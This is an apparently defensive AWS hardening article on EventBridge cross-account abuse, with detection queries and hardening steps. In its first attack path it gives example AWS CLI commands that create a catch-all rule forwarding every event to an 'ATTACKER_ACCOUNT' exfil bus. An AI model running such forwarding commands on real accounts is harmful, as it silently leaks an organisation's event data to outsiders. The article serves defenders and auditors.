Cloud Security Wire
AWS Azure GCP RSS
AWS Hardening Guide high

AWS EventBridge Security: Cross-Account Event Bus Abuse and Data Exfiltration Paths

Amazon EventBridge resource-based policies are frequently misconfigured to allow cross-account or public event delivery, creating data exfiltration paths that CloudTrail does not surface by default. This guide covers the attack paths and hardening steps.

By Editorial Team · ·
#AWS#EventBridge#event bus#cross-account#data exfiltration#misconfiguration#CloudTrail#resource-based policy#serverless security#cloud security
High Severity

This issue has been assessed as high severity. Review affected configurations immediately.

Amazon EventBridge is the backbone of event-driven architectures in AWS — routing events between services, accounts, and external SaaS partners. Its resource-based policy model is what makes multi-account event delivery possible, and it is what makes it exploitable. A misconfigured event bus policy can quietly deliver copies of internal events to an attacker-controlled AWS account, and the default CloudTrail configuration won’t show you the data leaving.

This is not a hypothetical. EventBridge is underscrutinised in cloud security reviews because it looks like plumbing rather than a data store. But the events flowing through it often carry payload data that belongs in your highest-sensitivity tier.

How EventBridge Cross-Account Delivery Works

EventBridge’s standard event bus in each account accepts events from AWS services and custom applications. By default, only resources within the same account can send to or receive from the bus. Cross-account delivery requires an explicit resource-based policy on the receiving bus, granting events:PutEvents to a specific source account or principal.

When you want to aggregate events from multiple accounts into a central account (a common architecture for centralised alerting), you add a policy like this to the central account’s event bus:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowCrossAccountPutEvents",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "events:PutEvents",
      "Resource": "arn:aws:events:us-east-1:999999999999:event-bus/central-bus"
    }
  ]
}

The attack surface is the inverse: a rule in your account with an EventBridge API destination or cross-account target can deliver copies of your events to an external account. If an attacker gains access to create or modify EventBridge rules — via a compromised IAM credential, a CSPM misconfiguration, or a misconfigured CICD pipeline — they can route events to their own infrastructure.

Attack Path 1: Rule-Based Event Forwarding

An attacker with events:PutRule and events:PutTargets permissions can create a rule that matches all events (source: ["*"]) and adds a cross-account event bus as a target. Every event generated in your account — including custom application events carrying business data — gets forwarded to the attacker’s bus.

# Attacker creates catch-all forwarding rule
aws events put-rule \
  --name "monitoring-forward" \
  --event-pattern '{"source": [{"prefix": ""}]}' \
  --state ENABLED

# Attacker adds cross-account target
aws events put-targets \
  --rule "monitoring-forward" \
  --targets '[{
    "Id": "exfil-target",
    "Arn": "arn:aws:events:us-east-1:ATTACKER_ACCOUNT:event-bus/exfil-bus",
    "RoleArn": "arn:aws:iam::YOUR_ACCOUNT:role/EventBridgeForwardRole"
  }]'

The permissions required — events:PutRule, events:PutTargets — are common in developer and CICD roles and may not be restricted in environments where EventBridge is used extensively.

Attack Path 2: Overly Permissive Resource Policy on Event Bus

A misconfigured resource-based policy on your own event bus can allow any AWS account to deliver events to it (revealing internal state) or grant a partner account broader access than intended. The critical misconfiguration to look for:

{
  "Principal": "*"  // allows ANY AWS account
}

Any resource policy with Principal: "*" on an EventBridge bus is effectively public. Unlike S3, EventBridge does not have a “Block Public Access” feature that provides a blanket protection, so these policies must be reviewed manually.

Attack Path 3: EventBridge Pipes as Transformation and Exfiltration Layer

EventBridge Pipes is a newer feature that creates point-to-point connections between event sources (SQS queues, DynamoDB streams, Kinesis) and targets, with optional transformation via Lambda or API destinations. An attacker with pipes:CreatePipe permissions can route a DynamoDB stream or SQS queue — which may contain sensitive application data — to an external HTTPS endpoint via API destination.

This is particularly dangerous because the source (a DynamoDB stream) may contain full record content, and the API destination delivers it in plaintext JSON to any internet-accessible endpoint.

What CloudTrail Misses

CloudTrail captures control-plane events: rule creation, target modification, policy changes. It does not capture the data plane — the actual events flowing through the bus and being delivered to targets. This means:

  • A rule that forwards all events to an attacker’s account will appear in CloudTrail as a single PutTargets call
  • The ongoing data delivery — potentially thousands of events per hour — is invisible to CloudTrail
  • The exfiltration continues silently until the rule is discovered and removed

This is the same gap that exists in S3 data plane logging (disabled by default). You need EventBridge-specific monitoring to catch it.

Detection

CloudTrail: Suspicious EventBridge Rule Creation

# Query for EventBridge rules with cross-account or broad event patterns
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=PutRule \
  --start-time 2026-01-01 \
  --max-results 50

In Sentinel/CloudTrail Lake, look for PutTargets calls where the target ARN is in a different account than the source:

SELECT
  eventTime,
  userIdentity.arn as ActorARN,
  requestParameters.rule as RuleName,
  requestParameters.targets as Targets
FROM cloudtrail_logs
WHERE eventName = 'PutTargets'
  AND eventSource = 'events.amazonaws.com'
  AND CAST(requestParameters.targets AS VARCHAR) LIKE '%:events:%'
ORDER BY eventTime DESC

Detecting Overly Permissive Event Bus Policies

# Check resource-based policy on each event bus
aws events describe-event-bus --name default
aws events list-event-buses --query 'EventBuses[*].Name' --output text | \
  xargs -I {} aws events describe-event-bus --name {}

Flag any bus policy containing "Principal": "*" or "Principal": {"AWS": "*"}.

AWS Config Rule for Public Event Buses

EventBridge does not have a built-in AWS Config managed rule for this, but you can write a custom Config rule or use an AWS Security Hub custom insight:

import boto3
import json

def lambda_handler(event, context):
    eb = boto3.client('events')
    buses = eb.list_event_buses()['EventBuses']
    
    for bus in buses:
        policy = bus.get('Policy')
        if policy:
            doc = json.loads(policy)
            for stmt in doc.get('Statement', []):
                principal = stmt.get('Principal', {})
                if principal == '*' or principal.get('AWS') == '*':
                    # Flag as non-compliant
                    report_violation(bus['Arn'])

Hardening

Restrict event bus resource policies to specific account IDs and roles. Never use Principal: "*". Require a specific account ID and IAM role in every cross-account statement.

Audit EventBridge rules for cross-account targets regularly. Add a Config rule or Security Hub finding that flags any EventBridge rule target where the ARN belongs to an account outside your AWS Organization.

Apply least-privilege for events:* IAM actions. Separate the ability to create rules (events:PutRule) from the ability to add cross-account targets (events:PutTargets). Require explicit approval for rules with external targets.

Use EventBridge Archive and Replay for internal routing. If cross-account event delivery is required, use an archive in the source account and grant read access to the destination account rather than push delivery. This keeps data in the source account’s control plane.

Enable EventBridge dead-letter queues and monitor delivery failures. Unexpected changes in delivery patterns can indicate rule modification.

Tag and inventory all EventBridge rules and buses. Include them in your cloud asset inventory and CSPM scanning. Rules without business owners are candidates for review and deletion.

IAM Permissions to Restrict

PermissionRisk if Granted Broadly
events:PutRuleCan create catch-all forwarding rules
events:PutTargetsCan add cross-account targets to existing rules
events:PutPermissionCan modify event bus resource-based policy
pipes:CreatePipeCan route SQS/DynamoDB data to external endpoints
events:CreateConnectionCan create API destination credentials
events:CreateApiDestinationCan create external HTTP targets

These permissions are commonly included in AdministratorAccess and broad developer policies. Review their use in your environment and scope them to specific resources where possible.

EventBridge’s visibility in security tooling has lagged behind its adoption. As event-driven architectures mature, the control-plane policies governing event flow deserve the same scrutiny as S3 bucket ACLs and IAM role trust policies — they just haven’t received it yet.

← All Analysis Subscribe via RSS